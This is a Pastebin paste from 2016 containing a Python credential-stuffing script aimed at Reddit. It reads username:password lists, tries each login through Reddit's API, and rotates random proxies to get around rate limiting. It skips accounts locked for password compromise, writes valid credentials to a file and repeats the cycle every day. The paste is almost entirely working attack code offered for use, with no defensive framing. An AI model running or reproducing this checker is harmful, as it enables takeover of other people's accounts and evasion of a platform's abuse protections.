cqwrcqwrcqwrcqw

Untitled

Dec 18th, 2016
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.81 KB | None | 0 0
  1. import requests
  2. import random
  3. import time
  4. import os
  5. import re
  6.  
  7.  
  8.  
  9. class Reddit(object):
  10. def __init__(self, **kwargs):
  11. self.username = kwargs["username"]
  12. self.password = kwargs["password"]
  13. self.proxy = None
  14. self.ecx = 0
  15. self.session = requests.session()
  16. self.loginurl = "https://www.reddit.com/api/login/{0}".format(self.username)
  17. self.data = {
  18. "op":"login-main",
  19. "user":self.username,
  20. "passwd":self.password,
  21. "api_type":"json",
  22. }
  23.  
  24. def login(self):
  25. try:
  26. if self.proxy:
  27. print ("Proxy : {0}".format(self.proxy))
  28. proxy = {"https":self.proxy}
  29. source = self.session.post(self.loginurl, data=self.data, proxies=proxy, timeout=5)
  30. else:
  31. source = self.session.post(self.loginurl, data=self.data)
  32. if source.status_code == 200:
  33. print ("Login account : {0}".format(self.username))
  34. html = self.session.get("https://www.reddit.com/user/{0}".format(self.username)).text
  35. if self.failed(html):
  36. print ("Gonna save this account : {0}".format(self.username))
  37. self.save()
  38. else:
  39. print ("Account is compromised : {0}".format(self.username))
  40. elif source.status_code == 429:
  41. print ("Proxy needed")
  42. if not self.ecx >= 10:
  43. self.countermeasure()
  44. else:
  45. print ("Login failed : {0}".format(self.username))
  46. return None
  47.  
  48. except requests.exceptions.ConnectionError as connecterror:
  49. print ("Proxy error : {0}".format(connecterror))
  50. self.countermeasure()
  51.  
  52. except Exception as error:
  53. print("Unexpected error : {0}".format(error))
  54.  
  55.  
  56. def countermeasure(self):
  57. self.proxy = self.randomProxy()
  58. self.ecx += 1
  59. print("Will wait 6 second for unblock.")
  60. time.sleep(6)
  61. self.login()
  62.  
  63. def save(self):
  64. with open("checked.txt", "a") as validUser:
  65. validUser.write(self.username+":"+self.password+"\n")
  66. validUser.close()
  67.  
  68. def failed(self, html):
  69. locked = 'Your account has been locked due to possible password compromise'
  70. if locked not in html:
  71. if re.findall("<title>(.+?)</title>", html)[0] == "Too Many Requests":
  72. print("Will wait 6 second for unblock.")
  73. time.sleep(6)
  74. self.login()
  75. else:
  76. find = ('"logged": "{0}"'.format(self.username))
  77. if re.findall(find, html):
  78. return True
  79. else:
  80. return False
  81. else:
  82. return False
  83.  
  84.  
  85. def randomProxy(self):
  86. with open("proxies.txt", "r") as proxies:
  87. return random.choice([x.strip() for x in proxies.readlines() if x])
  88.  
  89.  
  90.  
  91. if __name__ == '__main__':
  92. if not os.path.exists("checked.txt"):
  93. open("checked.txt", "w").close()
  94. while True:
  95. accountSessions = []
  96. with open("accounts.txt", "r") as users:
  97. for user in [x.strip() for x in users.readlines() if x.strip()]:
  98. user = user.split(":")
  99. api = Reddit( username=user[0], password=user[1])
  100. api.login()
  101. time.sleep(86400)#A day
Add Comment
Please, Sign In to add comment